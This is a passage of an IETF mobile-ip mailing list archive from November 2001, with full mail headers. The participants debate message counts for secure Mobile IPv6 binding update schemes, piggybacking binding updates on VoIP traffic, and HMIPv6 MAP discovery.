 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Alexandru Petrescu writes:
 > [about message counts for secure binding updates]
 > 
 > BUSEC:   5

   ??? I don't understand how you're counting this. It's
   always 3 messages to update a CN.

	    Mike


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 29 11:56:25 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA21373
	for <mobileip-archive@odin.ietf.org>; Thu, 29 Nov 2001 11:56:24 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA25971;
	Thu, 29 Nov 2001 09:54:59 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA20734;
	Thu, 29 Nov 2001 08:55:07 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATGsD1V017476
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 29 Nov 2001 08:54:13 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fATGsDGT017475
	for mobile-ip-dist; Thu, 29 Nov 2001 08:54:13 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATGs91V017468
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 08:54:10 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA20474
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 08:54:11 -0800 (PST)
Received: from motgate2.mot.com (motgate2.mot.com [136.182.1.10])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA16025
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 08:54:09 -0800 (PST)
Received: [from pobox3.mot.com (pobox3.mot.com [10.64.251.242]) by motgate2.mot.com (motgate2 2.1) with ESMTP id JAA07507 for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 09:54:08 -0700 (MST)]
Received: [from m-il06-r2.mot.com (m-il06-r2.mot.com [129.188.137.24]) by pobox3.mot.com (MOT-pobox3 2.0) with ESMTP id JAA20384 for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 09:44:13 -0700 (MST)]
Received: from thorgal.crm.mot.com by m-il06-r2.mot.com with ESMTP; Thu, 29 Nov 2001 10:54:02 -0600
Received: from test9.crm.mot.com.crm.mot.com (test9.crm.mot.com [140.101.173.239])
	by thorgal.crm.mot.com (Postfix) with ESMTP
	id 1698F2EC83; Thu, 29 Nov 2001 17:53:56 +0100 (CET)
To: mobile-ip@sunroof.eng.sun.com
Cc: Franck.Le@nokia.com, gab@sun.com
Subject: Re: [mobile-ip] draft-montenegro-mobileip-mipv6-seceval-00.txt
References: <57A26D272F67A743952F6B4371B8F8115550E0@daebe007.NOE.Nokia.com>
	<m3r8qhwp3y.fsf@test9.crm.mot.com>
	<15366.24889.168386.196110@thomasm-u1.cisco.com>
From: Alexandru Petrescu <petrescu@crm.mot.com>
Date: 29 Nov 2001 17:53:11 +0100
In-Reply-To: <15366.24889.168386.196110@thomasm-u1.cisco.com>
Message-Id: <m3n115wmbs.fsf@test9.crm.mot.com>
Lines: 14
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Michael Thomas <mat@cisco.com> writes:
> Alexandru Petrescu writes:
>  > [about message counts for secure binding updates]
>  > 
>  > BUSEC:   5
> 
>    ??? I don't understand how you're counting this. It's
>    always 3 messages to update a CN.

As I said, depending if you count the Binding Acknowldegment or not
your mileage may vary.  Also, as with DHMIPv6, I counted the CN to MN
via HA message as 2 messages (hop limits decremented).

Alex



From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 29 12:13:10 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA22814
	for <mobileip-archive@odin.ietf.org>; Thu, 29 Nov 2001 12:13:10 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA08612;
	Thu, 29 Nov 2001 09:11:59 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA01055;
	Thu, 29 Nov 2001 09:11:32 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATHAY1V017676
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 29 Nov 2001 09:10:34 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fATHAYMk017675
	for mobile-ip-dist; Thu, 29 Nov 2001 09:10:34 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATHAU1V017668
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 09:10:30 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA25060
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 09:10:31 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA16085
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 10:10:30 -0700 (MST)
Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fATHATu11632
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 18:10:29 +0100 (MET)
Received: FROM esealnt400.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Thu Nov 29 18:10:28 2001 +0100
Received: by esealnt400 with Internet Mail Service (5.5.2653.19)
	id <THZ9G17N>; Thu, 29 Nov 2001 18:10:28 +0100
Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C0DD@Esealnt861.al.sw.ericsson.se>
From: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] more about piggybacking.
Date: Thu, 29 Nov 2001 18:10:08 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Cedric, 


  > 
  > thanks for reading it. Let me say here that the purpose of 
  > the document
  > was not to be exhaustive. Comments in line.
  > 

=> Sure. I still found it quite useful though.

  > > - You assume that the BU should share the same channel
  > >   as the connection traffic. This on its own will add
  > >   to jitter (whether you piggyback or not). So I think
  > >   you definitely want to have a separate channel for the
  > >   BU, especially on links with QoS assurances. The reason
  > >   is that I believe you may need different channel characteristics
  > >   (configuration) for your signalling when compared to
  > >   your payload. One example is reliability and there
  > >   are more.
  > >   So IMHO the cleanest way to use MIPv6 on these links
  > >   (low BW, QoS assurances ....basically cellular !) is
  > >   to assign separate channels for IP signalling.
  > >   This would eliminate the jitter due to BUs.
  > 
  > I agree with you that separating BUs from voice packet 
  > would eliminate
  > jitter
  > for voice packet. On the other hand, usually in an IP 
  > world, you don't have
  > 
  > that luxury of separating the cellular world's user plane 
  > and control
  > plane.
  > 

=> Well, a device made to work on a cellular link
should be able to map IP packets to certain channels. 
You can use some internal tagging between IP and L2.

But anyway, the more important point is that it can 
actually be quite harmful to piggyback two different
contents (requiring two different radio configurations)
on the same channel. Take your example for instance, 
a VoIP connection, the way the channel might be configured
here might be too unreliable for IP signalling where 
you would want a reliable channel. This is just as 
important as the points below. 

Cheers,
Hesham


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 29 12:17:30 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA23183
	for <mobileip-archive@odin.ietf.org>; Thu, 29 Nov 2001 12:17:30 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA14969;
	Thu, 29 Nov 2001 10:16:04 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA02973;
	Thu, 29 Nov 2001 09:16:10 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATHF41V017836
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 29 Nov 2001 09:15:04 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fATHF47t017835
	for mobile-ip-dist; Thu, 29 Nov 2001 09:15:04 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATHF01V017825
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 09:15:00 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA02674
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 09:15:02 -0800 (PST)
Received: from dumburken.it.kth.se (dumburken.it.kth.se [130.237.215.122])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA17708
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 10:15:01 -0700 (MST)
Received: (from maguire@localhost)
	by dumburken.it.kth.se (8.9.3/8.9.3)
	id SAA09538;
	Thu, 29 Nov 2001 18:14:59 +0100 (MET)
Date: Thu, 29 Nov 2001 18:14:59 +0100 (MET)
Message-Id: <200111291714.SAA09538@dumburken.it.kth.se>
X-Authentication-Warning: dumburken.it.kth.se: maguire set sender to maguire@dumburken.it.kth.se using -f
From: Gerald Maguire <maguire@it.kth.se>
To: mobile-ip@sunroof.eng.sun.com
CC: mobile-ip@sunroof.eng.sun.com
In-reply-to: <3C065E62.30671451@iprg.nokia.com> (message from Cedric Westphal
	on Thu, 29 Nov 2001 08:12:18 -0800)
Subject: Re: [mobile-ip] more about piggybacking.
References: <4DA6EA82906FD511BE2F00508BCF053801C4C0DC@Esealnt861.al.sw.ericsson.se> <3C065E62.30671451@iprg.nokia.com>
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Cedric Westphal <cedric@iprg.nokia.com> said:
    I agree with you that separating BUs from voice packet would eliminate
    jitter for voice packet. On the other hand, usually in an IP world, you don't have
    that luxury of separating the cellular world's user plane and control
    plane.

But there is a relatively straight forward solution, put the BU just
_after_ the voice packet, then you don't add jitter. Since you know
there will _not_ be another voice packet for 10-20ms (depending on
packetizing, coding, silence supression etc.) as long as you can send
the BU is less than this time you will not add to the jitter of the
series of voice packets.

This is not particularily more difficult that the technique long used
for SLIP to recognize port numbers and packet size and handle
interactive traffic differently from (i.e., ahead of) bulk transfer.

Chip


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 29 12:22:11 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA23569
	for <mobileip-archive@odin.ietf.org>; Thu, 29 Nov 2001 12:22:10 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA19483;
	Thu, 29 Nov 2001 10:20:55 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA04717;
	Thu, 29 Nov 2001 09:21:02 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATHKD1V017986
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 29 Nov 2001 09:20:13 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fATHKDQj017985
	for mobile-ip-dist; Thu, 29 Nov 2001 09:20:13 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATHKA1V017978
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 09:20:10 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA07248
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 09:20:11 -0800 (PST)
Received: from ftpbox.mot.com (ftpbox.mot.com [129.188.136.101])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA08723
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 09:20:11 -0800 (PST)
Received: [from pobox.mot.com (pobox.mot.com [129.188.137.100]) by ftpbox.mot.com (ftpbox 2.1) with ESMTP id KAA02729 for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 10:20:11 -0700 (MST)]
Received: [from m-il06-r1.mot.com (m-il06-r1.mot.com [129.188.137.193]) by pobox.mot.com (MOT-pobox 2.0) with ESMTP id KAA19752 for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 10:20:10 -0700 (MST)]
Received: from thorgal.crm.mot.com by m-il06-r1.mot.com with ESMTP; Thu, 29 Nov 2001 10:20:09 -0700
Received: from test9.crm.mot.com.crm.mot.com (test9.crm.mot.com [140.101.173.239])
	by thorgal.crm.mot.com (Postfix) with ESMTP
	id 4AF102EC83; Thu, 29 Nov 2001 18:19:58 +0100 (CET)
To: Hesham.Soliman@era.ericsson.se
Cc: claude.castelluccia@inria.fr, Karim.El-Malki@era.ericsson.se,
        ludovic.bellier@inria.fr, mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] I-D ACTION:draft-ietf-mobileip-hmipv6-05.txt
References: <200111291105.GAA20298@ietf.org>
From: Alexandru Petrescu <petrescu@crm.mot.com>
Date: 29 Nov 2001 18:19:12 +0100
In-Reply-To: <200111291105.GAA20298@ietf.org>
Message-Id: <m3r8qhbilr.fsf@test9.crm.mot.com>
Lines: 15
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Hi,

Thank you for the new version of the draft.

I understand that MAP discovery is still used like in -04, namely MAP
options are re-transmitted from one interface to another.  I still
wonder if routers should re-transmit on other links what they receive
via RA's on one link.  I see this as the job of routing protocols and
not of RA's.

Also, I still think HMIPv6 should specify a way to delete MAP-options
from an advertising interface.(RR means to do that is to put 0 in
use-prefix of a CHANGE).

Alex



From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 29 12:46:13 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA25511
	for <mobileip-archive@odin.ietf.org>; Thu, 29 Nov 2001 12:46:13 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA10503;
	Thu, 29 Nov 2001 10:44:58 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA11834;
	Thu, 29 Nov 2001 09:44:59 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATHhw1V018179
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 29 Nov 2001 09:43:59 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fATHhwws018178
	for mobile-ip-dist; Thu, 29 Nov 2001 09:43:58 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATHhs1V018171
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 09:43:54 -0800 (PST)
Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11])
	by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fATHhjq07101;
	Thu, 29 Nov 2001 18:43:45 +0100 (MET)
Date: Thu, 29 Nov 2001 18:42:26 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] draft-montenegro-mobileip-mipv6-seceval-00.txt
To: petrescu@crm.mot.com
Cc: mobile-ip@sunroof.eng.sun.com, Franck.Le@nokia.com, gab@sun.com
In-Reply-To: "Your message with ID" <m3n115wmbs.fsf@test9.crm.mot.com>
Message-ID: <Roam.SIMC.2.0.6.1007055746.10852.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> Michael Thomas <mat@cisco.com> writes:
> > Alexandru Petrescu writes:
> >  > [about message counts for secure binding updates]
> >  > 
> >  > BUSEC:   5
> > 
> >    ??? I don't understand how you're counting this. It's
> >    always 3 messages to update a CN.
> 
> As I said, depending if you count the Binding Acknowldegment or not
> your mileage may vary.  Also, as with DHMIPv6, I counted the CN to MN
> via HA message as 2 messages (hop limits decremented).

That explains the numbers - but it is a really odd definition of
"number of messages".
E.g. for BU3WAY between two MNs (the CN is also mobile) you need to
multiple the 3 messages (4 if BAck) with 3 since they all travel
	MN1->HA1->HA2->MN2
resulting in 9 (12 if BAck) of your number of messages.

But why are those hops different that a router forwarding the packets?
Answer for BU3WAY is that they aren't - the HAs are just forwarding packets
in and out of IPsec tunnels.

  Erik




From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 29 12:47:17 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA25549
	for <mobileip-archive@odin.ietf.org>; Thu, 29 Nov 2001 12:47:17 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA11298;
	Thu, 29 Nov 2001 10:45:45 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA12285;
	Thu, 29 Nov 2001 09:45:49 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATHio1V018196
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 29 Nov 2001 09:44:50 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fATHio5O018195
	for mobile-ip-dist; Thu, 29 Nov 2001 09:44:50 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATHik1V018188
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 09:44:46 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA14286
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 09:44:48 -0800 (PST)
Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA12909
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 10:45:13 -0700 (MST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id fATHiS023946;
	Thu, 29 Nov 2001 09:44:31 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAK49260;
	Thu, 29 Nov 2001 09:43:50 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA27194; Thu, 29 Nov 2001 09:44:25 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15366.29689.429951.460753@thomasm-u1.cisco.com>
Date: Thu, 29 Nov 2001 09:44:25 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Cc: Franck.Le@nokia.com, gab@sun.com
Subject: Re: [mobile-ip] draft-montenegro-mobileip-mipv6-seceval-00.txt
In-Reply-To: <m3n115wmbs.fsf@test9.crm.mot.com>
References: <57A26D272F67A743952F6B4371B8F8115550E0@daebe007.NOE.Nokia.com>
	<m3r8qhwp3y.fsf@test9.crm.mot.com>
	<15366.24889.168386.196110@thomasm-u1.cisco.com>
	<m3n115wmbs.fsf@test9.crm.mot.com>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Alexandru Petrescu writes:
 > Michael Thomas <mat@cisco.com> writes:
 > > Alexandru Petrescu writes:
 > >  > [about message counts for secure binding updates]
 > >  > 
 > >  > BUSEC:   5
 > > 
 > >    ??? I don't understand how you're counting this. It's
 > >    always 3 messages to update a CN.
 > 
 > As I said, depending if you count the Binding Acknowldegment or not
 > your mileage may vary.  Also, as with DHMIPv6, I counted the CN to MN
 > via HA message as 2 messages (hop limits decremented).

At the very least, your table was inconsistant
since many of the others had ranges.  Secondly,
it's not very accurate to call a trip through the
home agent a separate message; it's different,
and should be accounted for separately. 

I think such a table is actually useful for 
discussion, but it should be more comprehensive
and use consistant language. Let's say "ha" is
a trip through the home agent. Thus
For example

[BUSEC]

First BU:    3+ha
With ACK:    4+ha	
Next BU:     3+ha
With ACK:    4+ha

[PBK]

First BU:    3+ha
With ACK:    4+ha (? I don't think they outlined ACK's...)
Next BU:     1
With ACK:    2 (?)

etc.

		Mike


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 29 13:13:14 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA28149
	for <mobileip-archive@odin.ietf.org>; Thu, 29 Nov 2001 13:13:14 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA01905;
	Thu, 29 Nov 2001 11:11:59 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA22278;
	Thu, 29 Nov 2001 10:12:01 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATIAq1V018484
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 29 Nov 2001 10:10:52 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fATIApm4018483
	for mobile-ip-dist; Thu, 29 Nov 2001 10:10:51 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
